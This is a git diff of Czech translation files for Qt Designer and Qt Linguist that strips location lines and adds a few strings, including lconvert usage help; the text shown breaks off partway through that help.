         Vytvořit dynamickou vlastnost
     
     
-        
         Property Name
         Název vlastnosti
     
     
-        
         Property Type
         typ vlastnosti
     
     
-        
         The '_q_' prefix is reserved for the Qt library.
 Please select another name.
         Předpona '_q_' je používána knihovnou Qt pro vnitřní účely.
 Zvolte, prosím, jiný název.
     
     
-        
         horizontalSpacer
         Vodorovný vymezovač
     
@@ -5439,83 +4549,67 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::NewFormWidget
     
-        
         Default size
         Výchozí velikost
     
     
-        
         QVGA portrait (240x320)
         QVGA formát na výšku (240x320)
     
     
-        
         QVGA landscape (320x240)
         QVGA formát na šířku (320x240)
     
     
-        
         VGA portrait (480x640)
         VGA formát na výšku (480x640)
     
     
-        
         VGA landscape (640x480)
         VGA formát na šířku (640x480)
     
     
-        
         Widgets
         New Form Dialog Categories
         Prvky
     
     
-        
         Custom Widgets
         Uživatelsky stanovené prvky
     
     
-        
         None
         Žádný
     
     
-        
         Error loading form
         Formulář se nepodařilo nahrát
     
     
-        
         Unable to open the form template file '%1': %2
         Nepodařilo se otevřít předlohu s formulářem '%1': %2
     
     
-        
         Internal error: No template selected.
         Vnitřní chyba: Není vybrána žádná předloha.
     
     
-        
         0
         0
     
     
-        
         Choose a template for a preview
         Vyberte předlohu pro náhled
     
     
-        
         Embedded Design
         Vložený návrh
     
     
-        
         Device:
         Zařízení:
     
     
-        
         Screen Size:
         Velikost obrazovky:
     
@@ -5523,37 +4617,30 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::NewPromotedClassPanel
     
-        
         Add
         Přidat
     
     
-        
         New Promoted Class
         Nová uživatelsky stanovená třída
     
     
-        
         Base class name:
         Název základní třídy:
     
     
-        
         Promoted class name:
         Název uživatelsky stanovené třídy:
     
     
-        
         Header file:
         Hlavičkový soubor:
     
     
-        
         Global include
         Celkový hlavičkový soubor
     
     
-        
         Reset
         Nastavit znovu
     
@@ -5561,12 +4648,10 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::ObjectInspector
     
-        
         Change Current Page
         Změnit nynější stranu
     
     
-        
         &Find in Text...
         &Najít v textu...
     
@@ -5581,32 +4666,26 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::OrderDialog
     
-        
         Index %1 (%2)
         Poloha %1 (%2)
     
     
-        
         Change Page Order
         Změnit pořadí stran
     
     
-        
         Page Order
         Pořadí stran
     
     
-        
         Move page up
         Posunout stranu nahoru
     
     
-        
         Move page down
         Posunout stranu dolů
     
     
-        
         %1 %2
         %1 %2
     
@@ -5614,47 +4693,38 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PaletteEditor
     
-        
         Edit Palette
         Upravit paletu
     
     
-        
         Tune Palette
         Vyladit paletu
     
     
-        
         Show Details
         Ukázat podrobnosti
     
     
-        
         Compute Details
         Spočítat podrobnosti
     
     
-        
         Quick
         Jednoduchý
     
     
-        
         Preview
         Náhled
     
     
-        
         Disabled
         Zakázáno
     
     
-        
         Inactive
         Nečinný
     
     
-        
         Active
         V činnosti
     
@@ -5662,7 +4732,6 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PaletteEditorButton
     
-        
         Change Palette
         Změnit paletu
     
@@ -5670,22 +4739,18 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PaletteModel
     
-        
         Color Role
         Barevné kolo
     
     
-        
         Active
         V činnosti
     
     
-        
         Inactive
         Nečinný
     
     
-        
         Disabled
         Zakázáno
     
@@ -5693,28 +4758,22 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PixmapEditor
     
-        
         Copy Path
         Kopírovat cestu
     
     
-        
         Paste Path
         Vložit cestu
     
     
-        
         Choose Resource...
         Vybrat zdroj...
     
     
-        
         Choose File...
         Vybrat soubor...
     
     
-        
-        
         ...
         ...
     
@@ -5722,7 +4781,6 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PlainTextEditorDialog
     
-        
         Edit text
         Upravit text
     
@@ -5730,37 +4788,38 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PluginDialog
     
-        
         Components
         Součásti
     
     
-        
         Plugin Information
         Informace o přídavných modulech
     
     
-        
         Refresh
         Obnovit
     
     
-        
         Scan for newly installed custom widget plugins.
         Prohledat kvůli nově nainstalovaným přídavným modulům s uživatelsky stanovenými prvky.
     
     
-        
+        Loaded Plugins
+        Nahrané přídavné moduly
+    
+    
+        Failed Plugins
+        Přídavné moduly, které se nepodařilo nahrát
+    
+    
         Qt Designer couldn't find any plugins
         Programu Qt Designer se nepodařilo najít jakékoli přídavné moduly
     
     
-        
         Qt Designer found the following plugins
         Programu Qt Designer se podařilo najít následující přídavné moduly
     
     
-        
         New custom widget plugins have been found.
         Byly nalezeny nové přídavné moduly s uživatelsky stanovenými prvky.
     
@@ -5768,7 +4827,6 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PreviewActionGroup
     
-        
         %1 Style
         %1-Styl
     
@@ -5776,47 +4834,38 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PreviewConfigurationWidget
     
-        
         Default
         Výchozí
     
     
-        
         None
         Žádný
     
     
-        
         Browse...
         Procházet...
     
     
-        
         Load Custom Device Skin
         Nahrát uživatelsky stanovený vzhled zařízení
     
     
-        
         All QVFB Skins (*.%1)
         Všechny vzhledy QVFB (*.%1)
     
     
-        
         %1 - Duplicate Skin
         %1 - Zdvojit vzhled
     
     
-        
         The skin '%1' already exists.
         Vzhled '%1' již existuje.
     
     
-        
         %1 - Error
         %1 - Chyba
     
     
-        
         %1 is not a valid skin directory:
 %2
         %1 není platným adresářem pro vzhled:
@@ -5855,24 +4904,20 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PreviewDeviceSkin
     
-        
         &Portrait
         Formát na &výšku
     
     
-        
         Landscape (&CCW)
         Rotate form preview counter-clockwise
         Formát na šířku (&proti směru otáčení hodinových ručiček)
     
     
-        
         &Landscape (CW)
         Rotate form preview clockwise
         Formát na šířku (po směru &otáčení hodinových ručiček)
     
     
-        
         &Close
         &Zavřít
     
@@ -5880,7 +4925,6 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PreviewManager
     
-        
         %1 - [Preview]
         %1 - [Náhled]
     
@@ -5888,7 +4932,6 @@ Zvolte, prosím, jiný název.
 
     qdesigner_internal::PreviewMdiArea
     
-        
         The moose in the noose
 ate the goose who was loose.
         Palette editor background
@@ -5899,57 +4942,46 @@ která byla volně puštěná.
 
     qdesigner_internal::PreviewWidget
     
-        
         Preview Window
         Náhledové okno
     
     
-        
         LineEdit
         Úprava čáry
     
     
-        
         ComboBox
         Skupinová krabice
     
     
-        
         PushButton
         Tlačítko na postrčení
     
     
-        
         ButtonGroup2
         Skupina tlačítek 2
     
     
-        
         CheckBox1
         Zaškrtnutelné políčko 1
     
     
-        
         CheckBox2
         Zaškrtnutelné políčko 2
     
     
-        
         ButtonGroup
         Skupina tlačítek
     
     
-        
         RadioButton1
         Rozhlasové tlačítko 1
     
     
-        
         RadioButton2
         Rozhlasové tlačítko 2
     
     
-        
         RadioButton3
         Rozhlasové tlačítko 3
     
@@ -5957,22 +4989,18 @@ která byla volně puštěná.
 
     qdesigner_internal::PromotionModel
     
-        
         Name
         Název
     
     
-        
         Header file
         Hlavičkový soubor
     
     
-        
         Global include
         Celkový hlavičkový soubor
     
     
-        
         Usage
         Použití
     
@@ -5980,27 +5008,22 @@ která byla volně puštěná.
 
     qdesigner_internal::PromotionTaskMenu
     
-        
         Promoted widgets...
         Uživatelsky stanovené prvky...
     
     
-        
         Promote to ...
         Stanovit jako zástupný symbol pro uživatelsky stanovenou třídu...
     
     
-        
         Promote to
         Stanovit jako zástupný symbol pro uživatelsky stanovenou třídu
     
     
-        
         Demote to %1
         Odstranit zástupný symbol pro uživatelsky stanovenou třídu a přeměnit na %1
     
     
-        
         Change signals/slots...
         Změnit signály/zdířky...
     
@@ -6008,59 +5031,48 @@ která byla volně puštěná.
 
     qdesigner_internal::PropertyEditor
     
-        
         Add Dynamic Property...
         Přidat dynamickou vlastnost...
     
     
-        
         Remove Dynamic Property
         Odstranit dynamickou vlastnost
     
     
-        
         Tree View
         Stromový pohled
     
     
-        
         Drop Down Button View
         Podrobný pohled
     
     
-        
         Object: %1
 Class: %2
         Předmět: %1
 Třída: %2
     
     
-        
         Sorting
         Třídění
     
     
-        
         Color Groups
         Barevné zdůraznění
     
     
-        
         Configure Property Editor
         Nastavit editor vlastností
     
     
-        
         String...
         Řetězec znaků...
     
     
-        
         Bool...
         Booleánská hodnota...
     
     
-        
         Other...
         Jiný typ...
     
@@ -6068,7 +5080,6 @@ Třída: %2
 
     qdesigner_internal::PropertyLineEdit
     
-        
         Insert line break
         Vložit zalomení řádku
     
@@ -6076,27 +5087,22 @@ Třída: %2
 
     qdesigner_internal::QDesignerPromotionDialog
     
-        
         Promoted Widgets
         Zástupný symbol pro uživatelsky stanovené prvky
     
     
-        
         Promoted Classes
         Zástupný symbol pro uživatelsky stanovené třídy
     
     
-        
         Promote
         Používat
     
     
-        
         %1 - Error
         %1 - Chyba
     
     
-        
         Change signals/slots...
         Změnit signály/zdířky...
     
@@ -6104,22 +5110,18 @@ Třída: %2
 
     qdesigner_internal::QDesignerResource
     
-        
         Loading qrc file
         Nahrává se zdrojový soubor
     
     
-        
         The specified qrc file <p><b>%1</b></p><p>could not be found. Do you want to update the file location?</p>
         Zadaný zdrojový soubor <p><b>%1</b></p><p> se nepodařilo najít. Chcete zadat novou cestu k umístění souboru?</p>
     
     
-        
         New location for %1
         Nové umístění %1
     
     
-        
         Resource files (*.qrc)
         Zdrojové soubory (*.qrc)
     
@@ -6127,67 +5129,54 @@ Třída: %2
 
     qdesigner_internal::QDesignerTaskMenu
     
-        
         Change objectName...
         Změnit název předmětu...
     
     
-        
         Change toolTip...
         Změnit radu k nástroji...
     
     
-        
         Change whatsThis...
         Změnit "A co je toto"...
     
     
-        
         Change styleSheet...
         Změnit předlohový list...
     
     
-        
         Create Menu Bar
         Vytvořit nabídkový pruh
     
     
-        
         Add Tool Bar
         Přidat nástrojový pruh
     
     
-        
         Create Status Bar
         Vytvořit stavový pruh
     
     
-        
         Remove Status Bar
         Odstranit stavový pruh
     
     
-        
         Change script...
         Změnit skript...
     
     
-        
         Change signals/slots...
         Změnit signály/zdířky...
     
     
-        
         Go to slot...
         Jít na zdířku...
     
     
-        
         no signals available
         Nejsou dostupné žádné signály
     
     
-        
         Set size constraint on %n widget(s)
         
             Nastavit omezení velikosti u jednoho prvku
@@ -6196,47 +5185,38 @@ Třída: %2
         
     
     
-        
         Size Constraints
         Omezení velikosti
     
     
-        
         Set Minimum Width
         Nastavit nejmenší šířku
     
     
-        
         Set Minimum Height
         Nastavit nejmenší výšku
     
     
-        
         Set Minimum Size
         Nastavit nejmenší velikost
     
     
-        
         Set Maximum Width
         Nastavit největší šířku
     
     
-        
         Set Maximum Height
         Nastavit největší výšku
     
     
-        
         Set Maximum Size
         Nastavit největší velikost
     
     
-        
         Edit ToolTip
         Upravit radu k nástroji
     
     
-        
         Edit WhatsThis
         Upravit "A co je toto"
     
@@ -6244,42 +5224,34 @@ Třída: %2
 
     qdesigner_internal::QDesignerWidgetBox
     
-        
-        
         Unexpected element <%1>
         Neplatný prvek <%1>
     
     
-        
         A parse error occurred at line %1, column %2 of the XML code specified for the widget %3: %4
 %5
         Kód XML pro prvek %3 obsahuje chybu na řádku %1, sloupec %2:%4:
 %5
     
     
-        
         The XML code specified for the widget %1 does not contain any widget elements.
 %2
         Kód XML pro prvek %1 neobsahuje prvky.
 %2
     
     
-        
         An error has been encountered at line %1 of %2: %3
         Chyba na řádku %1 z %2: %3
     
     
-        
         Unexpected element <%1> encountered when parsing for <widget> or <ui>
         Na místě očekávaného <prvek>- nebo prvku <ui> byl nalezen <%1>
     
     
-        
         Unexpected end of file encountered when parsing widgets.
         Při čtení nastavení krabice s prvky se vyskytl předčasný konec souboru.
     
     
-        
         A widget element could not be found.
         Nepodařilo se najít prvek.
     
@@ -6287,73 +5259,58 @@ Třída: %2
 
     qdesigner_internal::QtGradientStopsController
     
-        
         H
         H
     
     
-        
         S
         S
     
     
-        
         V
         V
     
     
-        
-        
         Hue
         Barevný odstín
     
     
-        
         Sat
         Sytost
     
     
-        
         Val
         Hodnota
     
     
-        
         Saturation
         Sytost
     
     
-        
         Value
         Hodnota
     
     
-        
         R
         R
     
     
-        
         G
         G
     
     
-        
         B
         B
     
     
-        
         Red
         Červená
     
     
-        
         Green
         Zelená
     
     
-        
         Blue
         Modrá
     
@@ -6361,27 +5318,22 @@ Třída: %2
 
     qdesigner_internal::RichTextEditorDialog
     
-        
         Edit text
         Upravit text
     
     
-        
         &OK
         &OK
     
     
-        
         &Cancel
         &Zrušit
     
     
-        
         Rich Text
         Upravovatelný text
     
     
-        
         Source
         Zdroj
     
@@ -6389,72 +5341,58 @@ Třída: %2
 
     qdesigner_internal::RichTextEditorToolBar
     
-        
         Bold
         Tučné
     
     
-        
         CTRL+B
         CTRL+F
     
     
-        
         Italic
         Kurzíva
     
     
-        
         CTRL+I
         CTRL+K
     
     
-        
         Underline
         Podtržení
     
     
-        
         CTRL+U
         CTRL+U
     
     
-        
         Left Align
         Zarovnat k levému okraji
     
     
-        
         Center
         Zarovnat na střed
     
     
-        
         Right Align
         Zarovnat k pravému okraji
     
     
-        
         Justify
         Zarovnat do bloku
     
     
-        
         Superscript
         Horní index
     
     
-        
         Subscript
         Dolní index
     
     
-        
         Insert &Link
         Vložit &odkaz
     
     
-        
         Insert &Image
         Vložit &obrázek
     
@@ -6462,17 +5400,14 @@ Třída: %2
 
     qdesigner_internal::ScriptDialog
     
-        
         Edit script
         Upravit skript
     
     
-        
         Syntax error
         Chyba ve skladbě
     
     
-        
         <html>Enter a Qt Script snippet to be executed while loading the form.<br>The widget and its children are accessible via the variables <i>widget</i> and <i>childWidgets</i>, respectively.
         <html>Zadejte kousek Qt skriptu k provedení v průběhu nahrávání formuláře.<br>Prvek a jemu podřízené prvky jsou přístupné prostřednictvím proměnných <i>widget</i> und <i>childWidgets</i>.
     
@@ -6480,7 +5415,6 @@ Třída: %2
 
     qdesigner_internal::ScriptErrorDialog
     
-        
         Script errors
         Chyby ve skriptu
     
@@ -6488,23 +5422,18 @@ Třída: %2
 
     qdesigner_internal::SignalSlotDialog
     
-        
         There is already a slot with the signature '%1'.
         Již existuje zdířka s podpisem '%1'.
     
     
-        
         There is already a signal with the signature '%1'.
         Již existuje signál s podpisem '%1'.
     
     
-        
         %1 - Duplicate Signature
         %1 - Podpis již existuje
     
     
-        
-        
         Signals/Slots of %1
         Signály/Zdířky od %1
     
@@ -6512,12 +5441,10 @@ Třída: %2
 
     qdesigner_internal::SignalSlotEditorPlugin
     
-        
         Edit Signals/Slots
         Upravit signály/zdířky
     
     
-        
         F4
         F4
     
@@ -6525,7 +5452,6 @@ Třída: %2
 
     qdesigner_internal::SignalSlotEditorTool
     
-        
         Edit Signals/Slots
         Upravit signály/zdířky
     
@@ -6533,7 +5459,6 @@ Třída: %2
 
     qdesigner_internal::StatusBarTaskMenu
     
-        
         Remove
         Odstranit
     
@@ -6541,7 +5466,6 @@ Třída: %2
 
     qdesigner_internal::StringListEditorButton
     
-        
         Change String List
         Změnit seznamy s řetězci znaků
     
@@ -6549,38 +5473,30 @@ Třída: %2
 
     qdesigner_internal::StyleSheetEditorDialog
     
-        
         Edit Style Sheet
         Upravit předlohový list
     
     
-        
-        
         Valid Style Sheet
         Platný předlohový list
     
     
-        
         Invalid Style Sheet
         Neplatný předlohový list
     
     
-        
         Add Resource...
         Přidat zdroj...
     
     
-        
         Add Gradient...
         Přidat přechod...
     
     
-        
         Add Color...
         Přidat barvu...
     
     
-        
         Add Font...
         Přidat písmo...
     
@@ -6588,27 +5504,22 @@ Třída: %2
 
     qdesigner_internal::TabOrderEditor
     
-        
         Start from Here
         Začít znovu odtud
     
     
-        
         Restart
         Začít znovu
     
     
-        
         Tab Order List...
         Seznam s pořadím tabulátorů...
     
     
-        
         Tab Order List
         Seznam s pořadím tabulátorů
     
     
-        
         Tab Order
         Pořadí tabulátorů
     
@@ -6616,7 +5527,6 @@ Třída: %2
 
     qdesigner_internal::TabOrderEditorPlugin
     
-        
         Edit Tab Order
         Upravit pořadí tabulátorů
     
@@ -6624,7 +5534,6 @@ Třída: %2
 
     qdesigner_internal::TabOrderEditorTool
     
-        
         Edit Tab Order
         Upravit pořadí tabulátorů
     
@@ -6632,48 +5541,38 @@ Třída: %2
 
     qdesigner_internal::TableWidgetEditor
     
-        
         New Column
         Nový sloupec
     
     
-        
         New Row
         Nový řádek
     
     
-        
         &Columns
         &Sloupce
     
     
-        
         &Rows
         &Řádky
     
     
-        
         Properties &<<
         Vlastnosti &<<
     
     
-        
-        
         Properties &>>
         Vlastnosti &>>
     
     
-        
         Edit Table Widget
         Upravit prvek s tabulkou
     
     
-        
         &Items
         &Prvky
     
     
-        
         Table Items
         Prvky tabulek
     
@@ -6681,7 +5580,6 @@ Třída: %2
 
     qdesigner_internal::TableWidgetTaskMenu
     
-        
         Edit Items...
         Upravit prvky...
     
@@ -6689,22 +5587,18 @@ Třída: %2
 
     qdesigner_internal::TemplateOptionsWidget
     
-        
         Pick a directory to save templates in
         Vyberte adresář pro ukládání předloh
     
     
-        
         Form
         Formulář
     
     
-        
         Additional Template Paths
         Dodatečné adresáře pro předlohy
     
     
-        
         ...
         ...
     
@@ -6712,22 +5606,18 @@ Třída: %2
 
     qdesigner_internal::TextEditTaskMenu
     
-        
         Change HTML...
         Změnit HTML...
     
     
-        
         Edit HTML
         Upravit HTML
     
     
-        
         Edit Text
         Upravit text
     
     
-        
         Change Plain Text...
         Změnit prostý text...
     
@@ -6735,22 +5625,18 @@ Třída: %2
 
     qdesigner_internal::TextEditor
     
-        
         Choose Resource...
         Vybrat zdroj...
     
     
-        
         Choose File...
         Vybrat soubor...
     
     
-        
         Choose a File
         Vybrat soubor
     
     
-        
         ...
         ...
     
@@ -6758,27 +5644,22 @@ Třída: %2
 
     qdesigner_internal::ToolBarEventFilter
     
-        
         Insert Separator
         Vložit oddělovač
     
     
-        
         Remove action '%1'
         Odstranit činnost '%1'
     
     
-        
         Remove Toolbar '%1'
         Odstranit nástrojový pruh '%1'
     
     
-        
         Insert Separator before '%1'
         Vložit oddělovač před '%1'
     
     
-        
         Append Separator
         Připojit oddělovač
     
@@ -6786,125 +5667,98 @@ Třída: %2
 
     qdesigner_internal::TreeWidgetEditor
     
-        
         &Columns
         &Sloupce
     
     
-        
         Per column properties
         Vlastnosti sloupců
     
     
-        
         Common properties
         Společné vlastnosti
     
     
-        
-        
         New Item
         Nový prvek
     
     
-        
         Properties &<<
         Vlastnosti &<<
     
     
-        
-        
         Properties &>>
         Vlastnosti &>>
     
     
-        
         New Column
         Nový sloupec
     
     
-        
         Edit Tree Widget
         Upravit stromový prvek
     
     
-        
         &Items
         &Prvky
     
     
-        
         Tree Items
         Stromové prvky
     
     
-        
-        
         New Subitem
         Nový podřízený prvek
     
     
-        
         New &Subitem
         Nový po&dřízený prvek
     
     
-        
         Delete Item
         Smazat prvek
     
     
-        
         Move Item Left (before Parent Item)
         Posunout prvek doleva (před nadřízený prvek)
     
     
-        
         L
         L
     
     
-        
         Move Item Right (as a First Subitem of the Next Sibling Item)
         Posunout prvek doprava (jako první podřízený prvek dalšího rovnocenného prvku)
     
     
-        
         R
         R
     
     
-        
         Move Item Up
         Posunout prvek nahoru
     
     
-        
         U
         U
     
     
-        
         Move Item Down
         Posunout prvek dolů
     
     
-        
         D
         D
     
     
-        
         1
         1
     
     
-        
         &New
         &Nový
     
     
-        
         &Delete
         &Smazat
     
@@ -6912,7 +5766,6 @@ Třída: %2
 
     qdesigner_internal::TreeWidgetTaskMenu
     
-        
         Edit Items...
         Upravit prvky...
     
@@ -6920,7 +5773,6 @@ Třída: %2
 
     qdesigner_internal::WidgetBox
     
-        
         Warning: Widget creation failed in the widget box. This could be caused by invalid custom widget XML.
         Upozornění: Vytvoření prvku v krabici s prvky se nezdařilo. Mohlo by to být zapříčiněno chybným XML kódem uživatelsky stanoveného prvku.
     
@@ -6928,42 +5780,34 @@ Třída: %2
 
     qdesigner_internal::WidgetBoxTreeWidget
     
-        
         Scratchpad
         Skladování
     
     
-        
         Custom Widgets
         Uživatelsky stanovené prvky
     
     
-        
         Expand all
         Rozdělat vše
     
     
-        
         Collapse all
         Složit vše
     
     
-        
         List View
         Pohled se seznamem
     
     
-        
         Icon View
         Pohled s ikonami
     
     
-        
         Remove
         Odstranit
     
     
-        
         Edit name
         Upravit název
     
@@ -6971,7 +5815,6 @@ Třída: %2
 
     qdesigner_internal::WidgetDataBase
     
-        
         A custom widget plugin whose class name (%1) matches that of an existing class has been found.
         Byl nalezen přídavný modul, který obsahuje uživatelsky stanovený prvek, jehož název pro třídu (%1) odpovídá stávající třídě.
     
@@ -6979,7 +5822,6 @@ Třída: %2
 
     qdesigner_internal::WidgetEditorTool
     
-        
         Edit Widgets
         Upravit prvky
     
@@ -6987,33 +5829,27 @@ Třída: %2
 
     qdesigner_internal::WidgetFactory
     
-        
         The custom widget factory registered for widgets of class %1 returned 0.
         Závod pro uživatelsky stanovené prvky třídy %1 vrátil zpět 0.
     
     
-        
         A class name mismatch occurred when creating a widget using the custom widget factory registered for widgets of class %1. It returned a widget of class %2.
         Při vytváření prvku byly zjištěny odporující si názvy tříd: Závod pro uživatelsky stanovené prvky třídy %1 vrátil zpět prvek třídy %2.
     
     
-        
         The current page of the container '%1' (%2) could not be determined while creating a layout.This indicates an inconsistency in the ui-file, probably a layout being constructed on a container widget.
         Při vytváření rozvržení se nepodařilo určit nynější stránku kontejneru '%1' (%2). To naznačuje jistou nesrovnalost v souboru s rozhraním; pravděpodobně bylo rozvržení postaveno přímo na prvku kontejneru.
     
     
-        
         Attempt to add a layout to a widget '%1' (%2) which already has an unmanaged layout of type %3.
 This indicates an inconsistency in the ui-file.
         Pokus o přidání rozvržení na prvek '%1' (%2), který již má nespravované rozvržení typu %3. To naznačuje jistou nesrovnalost v souboru s rozhraním.
     
     
-        
         Cannot create style '%1'.
         Nepodařilo se vytvořit styl '%1'.
     
     
-        
         %1 Widget
         %1 prvek
     
@@ -7021,12 +5857,10 @@ This indicates an inconsistency in the ui-file.
 
     qdesigner_internal::WizardContainerWidgetTaskMenu
     
-        
         Next
         Další
     
     
-        
         Back
         Zpět
     
@@ -7034,7 +5868,6 @@ This indicates an inconsistency in the ui-file.
 
     qdesigner_internal::ZoomMenu
     
-        
         %1 %
         Zoom factor
         %1 %
@@ -7043,7 +5876,6 @@ This indicates an inconsistency in the ui-file.
 
     qdesigner_internal::ZoomablePreviewDeviceSkin
     
-        
         &Zoom
         &Zvětšit
     
diff --git a/translations/linguist_cs.ts b/translations/linguist_cs.ts
old mode 100644
new mode 100755
index 32905c9..5023355
--- a/translations/linguist_cs.ts
+++ b/translations/linguist_cs.ts
@@ -4,7 +4,6 @@
 
     AboutDialog
     
-        
         Qt Linguist
         Qt Linguist
     
@@ -12,27 +11,22 @@
 
     BatchTranslationDialog
     
-        
         Batch Translation of '%1' - Qt Linguist
         Automatický překlad '%1' - Qt Linguist
     
     
-        
         Searching, please wait...
         Hledá se, čekejte, prosím...
     
     
-        
         &Cancel
         &Zrušit
     
     
-        
         Linguist batch translator
         Automatický překladatel (Linguist)
     
     
-        
         Batch translated %n entries
         
             1 záznam byl automaticky přeložen
@@ -41,62 +35,50 @@
         
     
     
-        
         Qt Linguist - Batch Translation
         Qt Linguist - Automatický překlad
     
     
-        
         Options
         Volby
     
     
-        
         Set translated entries to finished
         Označit přeložené záznamy jako hotové
     
     
-        
         Retranslate entries with existing translation
         Znovu přeložit záznamy s již existujícím překladem
     
     
-        
         Translate also finished entries
         Přeložit i hotové záznamy
     
     
-        
         Phrase book preference
         Slovníky
     
     
-        
         Move up
         Posunout nahoru
     
     
-        
         Move down
         Posunout dolů
     
     
-        
         &Run
         &Provést
     
     
-        
         Cancel
         Zrušit
     
     
-        
         Note that the modified entries will be reset to unfinished if 'Set translated entries to finished' above is unchecked
         Všimněte si, že změněné záznamy budou znovu nastaveny na nevyřízené, pokud není zapnuto nahoře zmíněné nastavení 'Označit přeložené záznamy jako hotové'
     
     
-        
         The batch translator will search through the selected phrase books in the order given above
         Automatický překladatel bude prohledávat vybrané slovníky v pořadí uvedeném výše
     
@@ -104,39 +86,40 @@
 
     DataModel
     
-        
+        The translation file '%1' will not be loaded because it is empty.
+        Soubor s překladem '%1'nebude nahrán, protože je prázdný.
+    
+    
         <qt>Duplicate messages found in '%1':
         <qt>Vícekrát existující hlášení v '%1':
     
     
-        
         <p>[more duplicates omitted]
         <p>[vypuštěny další vícekrát existující zprávy]
     
     
-        
+        <p>* ID: %1
+        <p>* ID: %1
+    
+    
         <p>* Context: %1<br>* Source: %2
         <p>* Souvislosti: %1<br>* Zdroj: %2
     
     
-        
         <br>* Comment: %3
         <br>* Poznámka: %3
     
     
-        
         Linguist does not know the plural rules for '%1'.
 Will assume a single universal form.
         Pravidla pro tvoření množného čísla (plurálu) jazyka '%1' nejsou v Linguistu stanovena.
 Pracuje se s jednoduchým všeobecným tvarem.
     
     
-        
         Cannot create '%2': %1
         '%2' nemůže být vytvořen: %1
     
     
-        
         Universal Form
         Všeobecný tvar
     
@@ -144,37 +127,30 @@ Pracuje se s jednoduchým všeobecným tvarem.
 
     ErrorsView
     
-        
         Accelerator possibly superfluous in translation.
         V textu překladu je možná přebytečný akcelerátor.
     
     
-        
         Accelerator possibly missing in translation.
         V textu překladu možná chybí akcelerátor.
     
     
-        
         Translation does not end with the same punctuation as the source text.
         Interpunkční znaménko na konci textu překladu se liší od interpunkce zdrojového textu.
     
     
-        
         A phrase book suggestion for '%1' was ignored.
         Na návrh slovníku pro '%1' nebyl brán zřetel.
     
     
-        
         Translation does not refer to the same place markers as in the source text.
         Držitelé místa v textu překladu a ve zdrojovém textu se liší.
     
     
-        
         Translation does not contain the necessary %n place marker.
         Potřebný držitel místa (%n) v překladu chybí.
     
     
-        
         Unknown error
         Neznámá chyba
     
@@ -182,97 +158,78 @@ Pracuje se s jednoduchým všeobecným tvarem.
 
     FindDialog
     
-        
         This window allows you to search for some text in the translation source file.
         Toto okno vám umožňuje hledání textu ve zdrojovém souboru s překladem.
     
     
-        
         Type in the text to search for.
         Zadejte text, který se má hledat.
     
     
-        
         Options
         Volby
     
     
-        
         Source texts are searched when checked.
         Když je zapnuto, hledá se ve zdrojových textech.
     
     
-        
         Translations are searched when checked.
         Když je zapnuto, hledá se v překladech.
     
     
-        
         Texts such as 'TeX' and 'tex' are considered as different when checked.
         Když je zapnuto, texty jako 'TeX' a 'tex' se považují za rozdílné.
     
     
-        
         Comments and contexts are searched when checked.
         Když je zapnuto, prohledávají se poznámky a souvislosti.
     
     
-        
         Find
         Hledat
     
     
-        
         &Find what:
         &Vzor hledání:
     
     
-        
         &Source texts
         &Zdrojové texty
     
     
-        
         &Translations
         &Překlady
     
     
-        
         &Match case
         &Dbát na psaní velkých a malých písmen
     
     
-        
         &Comments
         &Poznámky
     
     
-        
         Ignore &accelerators
         Nedbat na &akcelerátory
     
     
-        
         Click here to find the next occurrence of the text you typed in.
         Klepněte sem pro skok k dalšímu výskytu hledáného textu.
     
     
-        
         Find Next
         Hledat dál
     
     
-        
         Click here to close this window.
         Klepněte sem pro zavření tohoto okna.
     
     
-        
         Cancel
         Zrušit
     
     
-        
         
         Choose Edit|Find from the menu bar or press Ctrl+F to pop up the Find dialog
         
@@ -281,38 +238,212 @@ Pracuje se s jednoduchým všeobecným tvarem.
 
     FormMultiWidget
     
-        
         Alt+Delete
         translate, but don't change
         Alt+Delete
     
     
-        
         Shift+Alt+Insert
         translate, but don't change
         Shift+Alt+Insert
     
     
-        
         Alt+Insert
         translate, but don't change
         Alt+Insert
     
     
-        
         Confirmation - Qt Linguist
         Potvrzení - Qt Linguist
     
     
-        
         Delete non-empty length variant?
         Smazat vyplněnou obměnu délky?
     
 
 
+    LConvert
+    
+        
+Usage:
+    lconvert [options] <infile> [<infile>...]
+
+lconvert is part of Qt's Linguist tool chain. It can be used as a
+stand-alone tool to convert and filter translation data files.
+The following file formats are supported:
+
+%1
+If multiple input files are specified, they are merged with
+translations from later files taking precedence.
+
+Options:
+    -h
+    --help  Display this information and exit.
+
+    -i <infile>
+    --input-file <infile>
+           Specify input file. Use if <infile> might start with a dash.
+           This option can be used several times to merge inputs.
+           May be '-' (standard input) for use in a pipe.
+
+    -o <outfile>
+    --output-file <outfile>
+           Specify output file. Default is '-' (standard output).
+
+    -if <informat>
+    --input-format <format>
+           Specify input format for subsequent <infile>s.
+           The format is auto-detected from the file name and defaults to 'ts'.
+
+    -of <outformat>
+    --output-format <outformat>
+           Specify output format. See -if.
+
+    --input-codec <codec>
+           Specify encoding for QM and PO input files. Default is 'Latin1'
+           for QM and 'UTF-8' for PO files. UTF-8 is always tried as well for
+           QM, corresponding to the possible use of the trUtf8() function.
+
+    --output-codec <codec>
+           Specify encoding for PO output files. Default is 'UTF-8'.
+
+    --drop-tags <regexp>
+           Drop named extra tags when writing TS or XLIFF files.
+           May be specified repeatedly.
+
+    --drop-translations
+           Drop existing translations and reset the status to 'unfinished'.
+           Note: this implies --no-obsolete.
+
+    --source-language <language>[_<region>]
+           Specify/override the language of the source strings. Defaults to
+           POSIX if not specified and the file does not name it yet.
+
+    --target-language <language>[_<region>]
+           Specify/override the language of the translation.
+           The target language is guessed from the file name if this option
+           is not specified and the file contents name no language yet.
+
+    --no-obsolete
+           Drop obsolete messages.
+
+    --no-finished
+           Drop finished messages.
+
+    --sort-contexts
+           Sort contexts in output TS file alphabetically.
+
